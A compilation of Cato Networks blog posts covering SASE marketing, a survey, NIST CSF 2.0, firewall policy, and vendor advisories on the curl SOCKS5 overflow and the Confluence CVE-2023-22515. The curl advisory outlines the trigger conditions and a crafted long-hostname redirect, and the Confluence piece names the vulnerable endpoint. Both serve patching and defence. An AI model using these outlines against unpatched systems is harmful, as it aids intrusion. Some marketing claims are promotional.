We have temporarily relocated select executives and engineers to Athens, Greece. We now have HQ and engineering resources available to support our global staff and cloud operations even in extreme cases of long power or internet outages, which aren’t expected at this time.
The Way Forward
Israel had faced difficult times and armed conflicts in the past, and always prevailed. We stand behind our Catonians in Israel and their families and care for them during this conflict. Our success is built on the commitment of our people to excellence in all facets of the business. This commitment remains firm as we continue our mission to provide a rock-solid secure foundation for our customers’ most critical business infrastructure.

Networking and Security Teams Are Converging, Says SASE Adoption Survey Converging networking with security is fundamental to creating a robust and resilient IT infrastructure that can withstand the evolving cyber threat landscape. It not only protects sensitive data and resources but also contributes to the overall success and trustworthiness of an organization.
And just as technologies are converging, networking and security teams are increasingly working together. In our new 2023 SASE Adoption Survey, nearly a quarter (24%) of respondents indicate security and networking are being handled by one team.
For those with separate teams, management is focusing on improving collaboration between networking and security teams. In some cases (8% of respondents), this takes the form of creating one networking and security group. In most cases, (74% of respondents) indicate management has an explicit strategy that teams must either work together or have shared processes.
The Advantages of Converging the Networking and Security Teams
When network engineers and security professionals work together, they share knowledge and insights, leading to improved efficiency and effectiveness in addressing network security challenges.
By integrating networking and security functions, companies can gain better visibility into network traffic and security events. Networking teams possess in-depth knowledge of network infrastructure, which security researchers often lack. By providing security teams with network information, organizations can hunt and remediate threats more effectively.
[boxlink link="https://www.catonetworks.com/resources/unveiling-insights-2023-sase-adoption-survey/"] Unveiling Insights: 2023 SASE Adoption Survey | Get the Report [/boxlink]
Closer collaboration enables quicker and more effective incident resolution, reducing the impact of cyber threats on business operations. Furthermore, by working together, the organization can optimize the performance of network resources while maintaining robust security measures, providing a seamless user experience without compromising protection.
There are other benefits, too, like streamlined operations, faster incident response, a holistic approach to risk management, and cost savings. All these advantages of a converged team help organizations attain a stronger security posture.
There’s a Preference for One Team, One Platform
Bringing teams together also enables the organization to implement security measures during network design and configuration, ensuring that security is an inherent part of the network architecture from the beginning.
Many organizations today (68%) use different platforms for security and networking management and operations. However, most (76%) believe that using just one platform for both purposes would improve collaboration between the networking and security teams. More than half also want a single data repository for networking and security events.
The preference for security and networking to work together extends to SASE selection. Which team leads on selecting a SASE solution—the networking or the security team? In most cases, it’s both.
When it comes to forming a SASE selection committee, about half (47% of respondents) say it’s a security team project with the networking team involved as necessary. Another 39% flip that script, with the networking team leading the project and involving the security team to vet the vendors.
As the teams come together, it makes great sense they would prefer to use a single, unified platform for their respective roles. Most respondents (62%) say having a single pane of glass for managing security and networking is an important SASE purchasing factor. More than half (54%) also want a single data repository for networking and security events.
Security and Networking Team Convergence Calls for Platform Convergence
Regardless, an effective SASE platform needs to accommodate the needs of all organizational structures whether teams are distinct or together. Essential in that role is rich role-based access control (RBAC) that allows granular access to various aspects of the SASE platform. In this way, IT organizations can create roles that reflect their unique structure – whether teams are converged or distinct. (Cato recently introduced RBAC+ for this reason. You can learn more here.)
As for SASE adoption, a single vendor approach was the most popular (63% of respondents). Post deployment would those who deployed SASE stay with the technology? The vast major (79% of respondents) say, “Yes.”

Cato’s Analysis and Protection for cURL SOCKS5 Heap Buffer Overflow (CVE-2023-38545) TL;DR This vulnerability appears to be less severe than initially anticipated. Cato customers and infrastructure are secure.
Last week the original author and long-time lead developer of cURL Daniel Stenberg published a “teaser” for a HIGH severity vulnerability in the ubiquitous libcurl development library and the curl command-line utility.
A week of anticipation, multiple heinous crimes against humanity and a declaration of war later, the vulnerability was disclosed publicly.
The initial announcement caused what in hindsight can be categorized as somewhat undue panic in the security and sysadmin worlds. But given how widespread the usage of libcurl and curl is around the world (at Cato we use widely as well, more on that below), and to quote from the libcurl website – “We estimate that every internet connected human on the globe uses (lib)curl, knowingly or not, every day”, the initial concern was more than understandable.
The libcurl library and the curl utility are used for interacting with URLs and for various multiprotocol file transfers, they are bundled into all the major Linux/UNIX distributions. Likely for that reason the project maintainers opted to keep the vulnerability disclosure private, and shared very little details to deter attackers, only letting the OS distributions maintainers know in advance while patched version are made ready in the respective package management systems for when it is disclosed.

The vulnerability in detail
The code containing the buffer overflow vulnerability is part of curl’s support for the SOCKS5 proxy protocol.SOCKS5 is a simple and well-known (while not very well-used nowadays) protocol for setting up an organizational proxy or quite often for anonymizing traffic, like it is used in the Tor network.
The vulnerability is in libcurl hostname resolution which is either delegated to the target proxy server or done by libcurl itself. If a hostname larger than 255 bytes is given, then it turns to local resolution and only passed the resolved address. Due to the bug, and in a slow enough handshake (“slow enough” being typical server latency according to the post), the Buffer Overflow can be triggered, and the entire “too-long-hostname” being copied to the buffer instead of the resolved result.
There are multiple conditions that need to be met for the vulnerability to be exploited, specifically:
In applications that do not set “CURLOPT_BUFFERSIZE” or set it below 65541. Important to note that the curl utility itself sets it to 100kB and so is not vulnerable unless changed specifically in the command line.
CURLOPT_PROXYTYPE set to type CURLPROXY_SOCKS5_HOSTNAME
CURLOPT_PROXY or CURLOPT_PRE_PROXY set to use the scheme socks5h://
A possible way to exploit the buffer overflow would likely require the attacker to control a webserver which is contacted by the libcurl client over SOCKS5, could make it return a crafted redirect (HTTP 30x response) which will contain a Location header with a long enough hostname to trigger the buffer overflow.
Cato’s usage of (lib)curl
At Cato we of course utilize both libcurl and curl itself for multiple purposes:
curl and libcurl based applications are used extensively in our global infrastructure in scripts and in-house applications.
Cato’s SDP Client also implements libcurl and uses it for multiple functions.
We do not use SOCKS5, and Cato’s code and infrastructure are not vulnerable to any form of this CVE.
Cato’s analysis response to the CVE
Based on the CVE details and the public POC shared along with the disclosure, Cato’s Research Labs researchers believe that chances for this to be exploited successfully are medium – low.
Nevertheless we have of course added IPS signatures for this CVE, providing Cato connected sites worldwide the peace and quiet through virtual patching, blocking attempts for an exploit with a detect-to-protect time of 1 day and 3 hours for all users and sites connected to Cato worldwide, and Opt-In Protection already available after 14 hours.Cato’s recommendation is as always to patch impacted servers and applications, affected versions being from libcurl 7.69.0 to and including 8.3.0. In addition, it is possible to mitigate by identifying usage as already stated of the parameters that can lead to the vulnerability being triggered - CURLOPT_PROXYTYPE, CURLOPT_PROXY, CURLOPT_PRE_PROXY.

Cato Protects Against Atlassian Confluence Server Exploits (CVE-2023-22515) A new critical vulnerability has been disclosed by Atlassian in a security advisory published on October 4th 2023 in its on-premise Confluence Data Center and Server product. A privilege escalation vulnerability through which attackers may exploit a vulnerable endpoint in internet-facing Confluence instances to create unauthorized Confluence administrator accounts and gain access to the Confluence instance.
At the time of writing a CVSS score was not assigned to the vulnerability but it can be expected to be very high (9 – 10) due to the fact it is remotely exploitable and allows full access to the server once exploited.
[boxlink link="https://www.catonetworks.com/rapid-cve-mitigation/"] Rapid CVE Mitigation by Cato Security Research [/boxlink]
Cato’s Response
There are no publicly known proofs-of-concept (POC) of the exploit available, but it has been confirmed by Atlassian that they have been made aware of the exploit by a “handful of customers where external attackers may have exploited a previously unknown vulnerability” so it can be assumed with a high certainty that it is already being exploited.
Cato’s Research Labs identified possible exploitation attempts of the vulnerable endpoint (“/setup/”) in some of our customers immediately after the security advisory was released, which were successfully blocked without any user intervention needed. The attempts were blocked by our IPS signatures aimed at identifying and blocking URL scanners even before a signature specific to this CVE was available.
The speed with which using the very little information available from the advisory was already integrated into online scanners gives a strong indication of how much of a high-value target Confluence servers are, and is concerning given the large numbers of publicly facing Confluence servers that exist.
Following the disclosure, Cato deployed signatures blocking any attempts to interact with the vulnerable “/setup/” endpoint, with a detect-to-protect time of 1 day and 23 hours for all users and sites connected to Cato worldwide, and Opt-In Protection already available in under 24 hours.
Furthermore, Cato’s recommendation is to restrict access to Confluence servers’ administration endpoints only from authorized IPs, preferably from within the network and when not possible that it is only accessible from hosts protected by Cato, whether behind a Cato Socket or remote users running the Cato Client.
Cato’s Research Labs continues to monitor the CVE for additional information, and we will update our signatures as more information becomes available or a POC is made public and exposes additional information. Follow our CVE Mitigation page and Release Notes for future information.

Essential steps to evaluate the Risk Profile of a Secure Services Edge (SSE) Provider Introduction
Businesses have increasingly turned to Secure Services Edge (SSE) to secure their digital assets and data, as they undergo digital transformation.
SSE secures the network edge to ensure data privacy and protect against cyber threats, using a cloud-delivered SaaS infrastructure from a third-party cybersecurity provider.
SSE has brought numerous advantages to companies who needed to strengthen their cyber security after undergoing a digital transformation. However, it has introduced new risks that traditional risk management methods can fail to identify at the initial onboarding stage.
When companies consider a third party to run their critical infrastructure, it is important to seek functionality and performance, but it is essential to identify and manage risks. Would you let someone you barely know race your shiny Porsche along a winding clifftop road, without first assessing his driving skills and safety record?
[boxlink link="https://www.catonetworks.com/resources/ensuring-success-with-sse-rfp-rfi-template/"] Ensuring Success with SSE: Your Helpful SSE RFP/RFI Template | Download the Template [/boxlink]
When assessing a Secure Services Edge (SSE) vendor, it is therefore essential to consider the risk profile alongside the capabilities.
In this post, we will guide you through the key steps to evaluate SSE vendors, this time not based on their features, but on their risk profile.
Why does this matter?
Gartner defines a third-party risk “miss” as an incident resulting in at least one of the outcomes in Figure 1.
Its 2022 survey of Executive Risk Committee members shows how these third-party risk “misses” are hurting organizations: 84% of respondents said that they had resulted in operations disruption at least once in the last 12 months.

Essential steps to evaluate the Risk Profile of a potential SSE provider
Step 1: Assess Reputation and Experience
Start your evaluation by researching the provider’s reputation and experience in the cybersecurity industry. Look for established vendors with a proven track record of successfully securing organizations from cyber threats. Client testimonials and case studies can offer valuable insights into their effectiveness in handling diverse security challenges.
Step 2: Certifications and Compliance
Check if the cybersecurity vendor holds relevant certifications, such as ISO 27001, NIST Cybersecurity Framework, SOC 2, or others. These demonstrate their commitment to maintaining high standards of information security. Compliance with industry-specific regulations (e.g., GDPR, HIPAA) is equally important, especially if your organization deals with sensitive data.
Step 3: Incident Response and Support
Ask about the vendor's incident response capabilities and the support they provide during and after a cyber incident. A reliable vendor should have a well-defined incident response plan and a team of skilled professionals ready to assist you in the event of a security breach.
Step 4: Third-party Audits and Assessments
Look for vendors who regularly undergo third-party security audits and assessments. These independent evaluations provide an objective view of the vendor's security practices and can validate their claims regarding their InfoSec capabilities.
Step 5: Data Protection Measures
Ensure that the vendor employs robust data protection measures, including encryption, access controls, and data backup protocols. This is vital if your organization handles sensitive customer information or intellectual property.
Step 6: Transparency and Communication
A trustworthy vendor will be transparent about their security practices, policies, and potential limitations. Evaluate how well they communicate their security measures and how responsive they are to your queries during the evaluation process.
Step 7: Research Security Incidents and Breaches
Conduct research on any past security incidents or data breaches that the vendor might have experienced. Analyze how they handled the situation, what lessons they learned, and the improvements they made to prevent similar incidents in the future.
Gartner has recently released a Third Party Risk platform to help organizations navigate through the risk profiles of Third Party providers, including of course, cybersecurity vendors.
The Gartner definition of Third-Party Risk is: “the risk an organization is exposed to by its external third parties such as vendors, contractors, and suppliers who may have access to company data, customer data, or other privileged information.”
The information provided by vendors on Gartner's Third-Party Risk Platform is primarily self-disclosed. While Gartner relies on vendors to accurately report their details, they also offer the option for vendors to upload attestations of third-party audits as evidence to support their claims. This additional layer of validation helps increase the reliability and credibility of the information presented. However, it is ultimately the responsibility of users to perform their due diligence when evaluating vendor information.
Conclusion
Selecting the right SSE provider is a critical decision that can significantly impact your organization's security posture. By evaluating vendors based on their Risk profile, not just their features, and leveraging the Gartner Third Party Risk Platform, you can make an informed choice and gain a reliable cybersecurity provider. Remember: investing time and effort in the evaluation process now, can prevent potential security headaches in the future, ensuring your organization remains protected from evolving cyber threats and compliant to local regulations.

The Cato Journey – Bringing SASE Transformation to the Largest Enterprises One of the observations I sometimes get from analysts, investors, and prospects is that Cato is a mid-market company. They imply that we are creating solutions that are simple and affordable, but don’t necessarily meet stringent requirements in scalability, availability, and functionality.
Here is the bottom line: Cato is an enterprise software company. Our mission is to deliver the Cato SASE experience to organizations of all sizes, support mission critical operations at any scale, and deliver best-in-class networking and security capabilities.
The reason Cato is perceived as a mid-market company is a combination of our mission statement which targets all organizations, our converged cloud platform that challenges legacy blueprints full of point solutions, our go-to-market strategy that started in the mid-market and went upmarket, and the IT dynamics in large enterprises. I will look at these in turn.
The Cato Mission: World-class Networking and Security for Everyone
Providing world class networking and security capabilities to customers of all sizes is Cato’s reason-for-being. Cato enables any organization to maintain top notch infrastructure by making the Cato SASE Cloud its enterprise networking and security platform. Our customers often struggled to optimize and secure their legacy infrastructure where gaps, single points of failure, and vulnerabilities create significant risks of breach and business disruption.
Cato SASE Cloud is a globally distributed cloud service that is self-healing, self-maintaining, and self-optimizing and such benefits aren’t limited to resource constrained mid-market organizations. In fact, most businesses will benefit from a platform that is autonomous and always optimized. It isn’t just the platform, though. Cato’s people, processes, and capabilities that are focused on cloud service availability, optimal performance, and maximal security posture are significantly higher than those of most enterprises.
Simply put, we partner with our customers in the deepest sense of the word. Cato shifts the burden of keeping the lights on a fragmented and complex infrastructure from the customer to us, the SASE provider. This grunt work does not add business value, it is just a “cost of doing business.” Therefore, it was an easy choice for mid-market customers that could not afford wasting resources to maintain the infrastructure. Ultimately, most organizations will realize there is simply no reason to pay that price where a proven alternative exists.
The most obvious example of this dynamic of customer capabilities vs. cloud services capabilities is Amazon Web Services (AWS). AWS eliminates the need for customers to run their own datacenters and worry about hosting, scaling, designing, deploying, and building high availability compute and storage. In the early days of AWS, customers used it for non-mission-critical departmental workloads. Today, virtually all enterprises use AWS or similar hyperscalers as their cloud datacenter platforms because they can bring to bear resources and competencies at a global scale that most enterprises can’t maintain.
AWS was never a “departmental” solution, given its underlying architecture. The Cato architecture was built with the same scale, capacity, and resiliency in mind. Cato can serve any organization.
The Cato SASE Cloud Platform: Global, Efficient, Scalable, Available
Cato created an all-new cloud-native architecture to deliver networking and security capabilities from the cloud to the largest datacenters and down to a single user. The Cato SASE Cloud is a globally distributed cloud service comprised of dozens of Points of Presence (PoPs). The PoPs run thousands of copies of a purpose-built and cloud-native networking and security stack called the Single Pass Cloud Engine (SPACE). Each SPACE can process traffic flows from any source to any destination in the context of a specific enterprise security policy. The SPACE enforces application access control (ZTNA), threat prevention (NGFW/IPS/NGAM/SWG), and data protection (CASB/DLP) and is being extended to address additional domains and requirements within the same software stack.
Large enterprises expect the highest levels of scalability, availability, and performance. The Cato architecture was built from the ground up with these essential attributes in mind. The Cato SASE Cloud has over 80 compute PoP locations worldwide, creating the largest SASE Cloud in the world. PoPs are interconnected by multiple Tier 1 carriers to ensure minimal packet loss and optimal path selection globally. Each PoP is built with multiple levels of redundancy and excess capacity to handle load surges. Smart software dynamically diverts traffic between PoPs and SPACEs in case of failure to ensure service continuity. Finally, Cato is so efficient that it has recently set an industry record for security processing -- 5 Gbps of encrypted traffic from a single location.
Cato’s further streamlines SOC and NOC operations with a single management console, and a single data lake providing a unified and normalized platform for analytics, configuration, and investigations. Simple and streamlined is not a mid-market attribute. It is an attribute of an elegant and seamless solution.
Go to Market: The Mid-Market is the Starting Point, Not the Endgame
Cato is not a typical cybersecurity startup that addresses new and incremental requirements. Rather, it is a complete rethinking and rearchitecting of how networking and security should be delivered. Simply put, Cato is disrupting legacy vendors by delivering a new platform and a completely new customer experience that automates and streamlines how businesses connect and secure their devices, users, locations, and applications.
Prospects are presented with a tradeoff: continue using legacy technologies that consume valuable IT time and resources spent on integration, deployment, scaling, upgrades, and maintenance, or adopt the new Cato paradigm of simplicity, agility, always on, and self-maintaining. This is not an easy decision. It means rethinking their networking and security architecture. Yet it is precisely the availability of the network and the ability to protect against threats that impact the enterprise’s ability to do business.
[boxlink link="https://www.catonetworks.com/resources/cato-sase-vs-the-sase-alternatives/"] Cato SASE vs. The SASE Alternatives | Download the eBook [/boxlink]
With that backdrop, Cato found its early customers at the “bottom” of the mid-market segment. These customers had to balance the risk of complexity and resource scarcity or the risk of a new platform. They often lacked the internal budgets and resources to meet their needs with existing approaches; they were open to considering another way.
Since then, seven years of technical development in conjunction with wide-spread market validation of single-vendor SASE as the future of enterprise networking and security have led Cato to move up market and acquire Fortune 500 and Global 1000 enterprises at 100x the investment of early customers – on the same architecture. In the process, Cato replaced hundreds of point products, both appliances and cloud- services, from all the leading vendors to transform customers’ IT infrastructure.
Cato didn’t invent this strategy of starting with smaller enterprises and progressively addressing the needs of larger enterprises. Twenty years ago, a small security startup, Fortinet, adopted this same go-to-market approach with low-cost firewall appliances, powered by custom chips, targeting the SMB and mid-market segments. The company then proceeded to move up market and is now serving the largest enterprises in the world. While we disagree with Fortinet on the future of networking and security and the role the cloud should play in it, we agree with the go-to-market approach and expect to end in the same place.
Features and Roadmap: Addressing Enterprise Requirements at Cloud Speed
When analysts assess Cato’s platform, they do it against a list of capabilities that exist in other vendors’ offerings. But this misses the benefit of hindsight. All too often, so-called “high-end features” had been built for legacy conditions, specific edge cases, particular customer requirements that are now obsolete or have low value. In networking, for example, compression, de-duplication, and caching, aren’t aligned with today’s requirements where traffic is compressed, dynamic, and sent over connections with far more capacity that was ever imagined when WAN optimization was first developed.
On the other hand, our unique architecture allows us to add new capabilities very quickly. Over 3,000 enhancements and features were added to our cloud service last year alone. Those features are driven by customers and cross-referenced with what analysts use in their benchmarks. For that very reason, we run a customer advisory board, and conduct detailed roadmap and functional design reviews with dozens of customers and prospects. Case in point is the introduction of record setting security processing -- 5 Gbps of encrypted traffic from a single location. No other vendor has come close to that limit.
The IT Dynamics in Large Enterprises: Bridging the Networking and Security SILOs
Many analysts are pointing towards enterprise IT structure and buying patterns as a blocker to SASE adoption. IT organizations must collaborate across networking and security teams to achieve the benefits of a single converged platform. While smaller IT organizations can do it more easily, larger IT organizations can achieve the same outcome with the guidance of visionary IT leadership. It is up to them to realize the need to embark on a journey to overcome the resource overload and skills scarcity that slows down their teams and negatively impacts the business. Across multiple IT domains, from datacenters to applications, enterprises partner with the right providers that through a combination of technology and people help IT to support the business in a world of constant change.
Cato’s journey upmarket proves that point. As we engage and deploy SASE in larger enterprises, we prove that embracing networking and security convergence is more of matter of imagining what is possible. With our large enterprise customers' success stories and the hard benefits they realized, the perceived risk of change is diminished and a new opportunity to transform IT emerges.
The Way Forward: Cato is Well Positioned to Serve the Largest Enterprises
Cato has reimagined what enterprise networking and security should be. We created the only true SASE platform that delivers the seamless and fluid experience customers got excited about when SASE was first introduced. We have matured the Cato SASE architecture and platform for the past eight years by working with customers of all sizes to make Cato faster, better, and stronger. We have the scale, the competencies, and the processes to enhance our service, and a detailed roadmap to address evolving needs and requirements. You may be a Request for Enhancement (RFE) away from seeing how SASE, Cato’s SASE, can truly change the way your enterprise IT enables and drives the business.

Cato: The Rise of the Next-Generation Networking and Security Platform Today, we announced our largest funding round to date ($238M) at a new company valuation of over $3B. It’s a remarkable achievement that is indicative not only of Cato’s success but also of a broader change in enterprise infrastructure.
We live in an era of digital transformation. Every business wants to be as agile, scalable, and resilient as AWS (Amazon Web Service) to gain a competitive edge, reduce costs and complexity, and delight its customers. But to achieve that goal, enterprise infrastructure, including both networking and security, must undergo digital transformation itself. It must become an enabler, instead of a blocker, for the digital business. Security platforms are a step in that direction.
Platforms can be tricky. A platform, by definition, must come from a single vendor and should cover most of the requirements of a given enterprise. This is not enough, though. A vendor could seemingly create a platform by “duct taping” products that were built organically with others that came from acquisitions. In that case, while the platform might check all the functional boxes, it would not feel like a cohesive unity but a collection of non-integrated components. This is a common theme with acquisitive vendors: they provide the comfort of sound financials but are hard pressed to deliver the promised platform benefits. What they have, in fact, is a portfolio of products, not a platform.
[boxlink link="https://www.catonetworks.com/resources/cato-named-a-challenger-in-the-gartner-magic-quadrant-for-single-vendor-sase/"] Cato named a Challenger in Gartner’s Magic Quadrant for Single Vendor-SASE | Get the Report [/boxlink]
In 2015, Cato embarked on a journey to build a networking and security platform, from the ground up, for the cloud era. We did not want just to cover as many functional requirements as fast as possible. Rather, we wanted to create a seamless and elegant experience, powered by a converged, global, cloud-native service that sustains maximal security posture and optimal performance, while offloading unproductive grunt work from IT professionals. A cohesive service architecture that is available everywhere enabled us to ensure scalable and resilient secure access to the largest datacenters and down to a single user.
We have been hard at work over the past eight years to mature this revolutionary architecture, that Gartner called SASE in 2019, and rapidly expand the capabilities it offered to our 2,000+ customers. We have grown not only the customer base, but the scale and complexity of enterprises that are supported by Cato today. In the process of transforming and modernizing our customers’ infrastructure we replaced many incumbent vendors, both appliance-centric and cloud-delivered, that our customers could not find the skills and resources to sustain.
Building a new platform is ambitious. Obviously, we are competing for the hearts and minds of customers that must choose between legacy approaches they lived with for so long, the so-called “known evil,” or join us to adopt a better and more effective networking and security platform for their businesses.
Today’s round of financing is proof that we are going in the right direction. Our customers, with tens of thousands of locations and millions of users, trust us to power their mission critical business operations with the only true SASE platform. They are joined today by existing and new investors that believe in our vision, our roadmap, and in our mission to change networking and security forever.
SASE is the way of the future. We imagined it, we invested in it, we built it, and we believe in it.
Cato. We ARE SASE.

NIST Cybersecurity & Privacy Program Introduction
The National Institute of Standards and Technology (NIST) Cybersecurity Framework (CSF) 1.1 has been a critical reference to help reduce or mitigate cybersecurity threats to Critical Infrastructures. First launched in 2014, it remains the de facto framework to address the cyber threats we have seen. However, with an eye toward addressing more targeted, sophisticated, and coordinated future threats, it was universally acknowledged that NIST CSF 1.1 required updating.
NIST has released a public draft of version 2.0 of their Cybersecurity Framework (CSF), which promises to deliver several improvements. However, to understand the impact of this update, it helps to understand how CSF v1.1 brought us this far.
Background
Every organization in today’s evolving global environment is faced with managing enterprise security risks efficiently and effectively. Cybersecurity is daunting; depending on your industry vertical, adhering to an intense list of regulatory and compliance standards only adds to this nightmare. Whether it’s the International Organization for Standardization (ISO) 27001, Information Systems Audit and Controls Association (ISACA) COBIT5, or other such programs, it is often confusing to know how or where to start, but they all specify processes to protect and respond to cybersecurity threats.
This was the impetus behind the National Institute of Standards and Technology (NIST) developing the Cybersecurity Framework (CSF). NIST CSF references proven best practices in its Core functions: Identify, Protect, Detect, Respond, and Recover. With this framework in place, organizations now have tools to better manage enterprise cybersecurity risk by presenting organizations with the required guidance.
NIST 2.0
The development of NIST CSF version 2.0 was a collaboration of industry, academic, and government experts across the globe, demonstrating the intent of adapting this iteration of the CSF to organizations everywhere, and not just in the US. It’s focused on mitigating cybersecurity risk to industry segments of all types and sizes by helping them understand, assess, prioritize, and communicate about these risks and the actions to reduce them.
To deliver on this promise, NIST CSF 2.0 highlights several core changes to deliver a more holistic framework. The following key changes are crucial to improving CSF to make it more globally relevant:
Global applicability for all segments and sizes
The previous scope of NIST CSF primarily addressed cybersecurity for critical infrastructure in the United States. While necessary at the time, it was universally agreed that expanding this scope was necessary to include global industries, governments, and academic institutions, and NIST CSF 2.0 does this.
Focus on cybersecurity governance
Cybersecurity governance is an all-encompassing cybersecurity strategy that integrates organizational operations to mitigate the risk of business disruption due to cyber threats or attacks. Cybersecurity governance includes many activities, including accountability, risk-tolerance definitions, and oversight, just to name a few. These critical components map neatly across the five core pillars of NIST CSF: Identify, Protect, Detect, Respond, and Recover. Cybersecurity governance within NIST CSF 2.0 defines and monitors cybersecurity risk strategies and expectations.
Focus on cybersecurity supply chain risk management
An extensive, globally distributed, and interconnected supply chain ecosystem is crucial for maintaining a strong competitive advantage and avoiding potential risks to business continuity and brand reputation. However, an intense uptick in cybersecurity incidents in recent years has uncovered the extended risk that exists in our technology supply chains. For this reason, integrating Cybersecurity Supply Chain Risk Management into NIST CSF 2.0 enables this framework to effectively inform an organization’s oversight and communications related to cybersecurity risks across multiple supply chains.

Integrating Cybersecurity Risk Management with Other Domains Using the Framework
NIST CSF 2.0 acknowledges that no one framework or guideline solves all cybersecurity challenges for today’s organizations. Considering this, there is alignment to several important privacy and risk management frameworks included in this draft:
Cybersecurity Supply Chain Risk Management Practices for Systems and Organizations – NIST SP 800-161f1
NIST Privacy Framework
Integrating Cybersecurity and Enterprise Risk Management – NIST IR 8286
Artificial Intelligence Risk Management Framework – AI 100-1
Alignment to these and other frameworks ensures organizations are well-equipped with guidelines and tools to facilitate their most critical cybersecurity risk programs holistically to achieve their desired outcomes.
Framework Tiers to Characterize Cybersecurity Risk Management Outcomes
NIST CSF 2.0 includes framework tiers to help define cybersecurity risks and how they will be managed within an organization. These tiers help identify an organization's cybersecurity maturity level and will specify the perspectives of cybersecurity risk and the processes in place to manage those risks. The tiers should serve as a benchmark to inform a more holistic enterprise-wide program to manage and reduce cybersecurity risks.
Using the Framework
There is no one-size-fits-all approach to addressing cybersecurity risks and defining and managing their outcomes. NIST CSF 2.0 is a tool that can be used in various ways to inform and guide organizations in understanding their risk appetite, prioritize activities, and manage expectations for their cybersecurity risk management programs. By integrating and referencing other frameworks, NIST CSF 2.0 is a risk management connector to help develop a more holistic cybersecurity program.
Cato SASE Cloud and NIST CSF
The Cato SASE Cloud supports the Cybersecurity Framework’s core specifications by effectively identifying, mitigating, and reducing enterprise security risk. Cato’s single converged software stack delivers a holistic security posture while providing extensive visibility across the entire SASE cloud.
Our security capabilities map very well into the core requirements of the NIST CSF to provide a roadmap for customers to comply with the framework. For more details, read our white paper on mapping Cato SASE Cloud to NIST CSF v1.1.

How to Solve the Cloud vs On-Premise Security Dilemma Introduction
Organizations need to protect themselves from the risks of running their business over the internet and processing sensitive data in the cloud. The growth of SaaS applications, Shadow IT and work from anywhere have therefore driven a rapid adoption of cloud-delivered cybersecurity services.
Gartner defined SSE as a collection of cloud-delivered security functions: SWG, CASB, DLP and ZTNA. SSE solutions help to move branch security to the cloud in a flexible, cost-effective and easy-to-manage way. They protect applications, data and users from North-South (incoming and outgoing) cyber threats. Of course, organizations must also protect against East-West threats, to prevent malicious actors from moving within their networks.
Organizations can face challenges moving all their security to the Cloud, particularly when dealing with internal traffic segmentation (East-West traffic protection), legacy data center applications that can’t be moved to the cloud, and regulatory issues (especially in Finance and Government sectors). They often retain a legacy data center firewall for East-West traffic protection, alongside an SSE solution for North-South traffic protection.
This hybrid security architecture increases complexity and operational costs. It also creates security gaps, due to the lack of unified visibility across the cloud and on-premise components.
A SIEM or XDR solution could help with troubleshooting and reducing security gaps, but it won’t solve the underlying complexity and operational cost issues.
Solving the cloud vs on-premise dilemma
Cato Networks’ SSE 360 solution solves the “on-premise vs cloud-delivered” security dilemma by providing complete and holistic protection across the organization’s infrastructure. It is built on a cloud-native architecture, secures traffic to all edges and provides full network visibility and control.
Cato SSE 360 delivers both the North-South protection of SSE and the East-West protection normally delivered by a data center firewall, all orchestrated from one unified cloud-based console, the Cato Management Application (CMA).
Cato SSE 360 offers a modular way to implement East-West traffic protection. By default, traffic protection is enforced at the POP, including features such as TLS inspection, user/device posture checks and advanced malware protection. See Figure 1 below. This does not impact user experience because there is sub-20ms latency to the closest Cato POP, worldwide.
Figure 1 - WAN Firewall Policy
Using the centralized Cato Management Application (CMA), it is simple to create a policy based on a zero-trust approach. For example, in Figure 2 below, we see that only
Authorized users (e.g. Cato Fong),
Connected to a corporate VLAN,
Running a policy-compliant device (Windows with Windows AV active)
Are allowed to access sensitive resources (in this case, the Domain Controller inside the organization).
Figure 2 - An example WAN Firewall rule
In some situations, it is helpful to implement East-West security at the local site: to allow or block communication without sending the traffic to the POP.
For Cato services, the default way to connect a site to the network is with a zero-touch edge SD-WAN device, known as a Cato Socket. With Cato’s LAN Firewall policy, you can configure rules for allowing or blocking LAN traffic directly on the Socket, without sending traffic to the POP. You can also enable tracking (ie. record events) for each rule.
Figure 3 - LAN Firewall Policy
When to use a LAN firewall policy
There are several scenarios in which it could make sense to apply a LAN firewall policy.
Let’s review the LAN Firewall logic:
Site traffic will be matched against the LAN firewall policies
If there is a match, then the traffic is enforced locally at the socket level
If there is no match, then traffic will be forwarded by default to the POP the socket is connected to
Since the POP implements an implicit “deny” all policy for WAN traffic, administrators will just have to define a “whitelist” of policies to allow users to access local resources.

Some use cases:
prevent users on a Guest WiFi network from accessing local corporate resources.
allow users on the corporate VLAN to access printers located in the printer VLAN, over specific TCP ports.
allow IOT devices (e.g. CCTV cameras), connected to an IOT-camera VLAN, to access the IOT File Server, but only over HTTPS.
allow database synchronization across two VLANs located in separate datacenter rooms over a specific protocol/port.
To better show the tight interaction between the LAN firewall engine in the socket and the WAN and Internet firewall engines at the POP, let’s see this use case: In Figure 5, a CCTV camera is connected to an IoT VLAN. A LAN Firewall policy, implemented in the Cato Socket, allows the camera to access an internal CCTV server. However, the Internet Firewall, implemented at the POP, blocks access by the camera to the Internet. This will protect against command and control (C&C) communication, if the camera is ever compromised by a malicious botnet.
Figure 4 - Allow CCTV camera to access CCTV internal server
All policies should both be visible in the same dashboard
IT Managers can use the same CMA dashboards to set policies and review events, regardless of whether the policy is enforced in the local socket or in the POP. This makes it simple to set policies and track events.
We can see this in the figures below, which show a LAN firewall event and a WAN firewall event, tracked on the CMA.
Figure 6 shows a LAN firewall event. It is associated with the Guest WiFi LAN firewall policy mentioned above. Here, we blocked access to the corporate AD server for the guest user at the socket level (LAN firewall).
Figure 5 - LAN Firewall tracked event
Figure 7 shows a WAN firewall event. It is associated with a WAN firewall policy for the AD Server, for a user called Cato Fong. In this case, we allowed the user to access the AD Server at the POP level (WAN firewall), using zero trust principles: Cato is an authorized user and Windows Defender AV is active on his device.
Figure 6 - WAN Firewall tracked event
Benefits of cloud-based East-West protection
Applying East-West protection with Cato SSE 360 brings several key benefits:
It allows unified cloud-based management across all edges, for both East-West and North-South protection;
It provides granular firewall policy options for both local and global segmentation;
It allows bandwidth savings for situations that do not require layer 7 inspection;
If provides unified, cloud-based visibility of all security and networking events.
With Cato SASE Cloud and Cato SSE 360, organizations can migrate their datacenter firewalls confidently to the cloud, to experience all the benefits of a true SASE solution.
Cato SSE 360 is built on a cloud-native architecture. It secures traffic to all edges and provides full network visibility and control. It delivers all the functionality of a datacenter firewall, including NGFW, SWG and local segmentation, plus Advanced Threat Protection and Managed Threat Detection and Response.

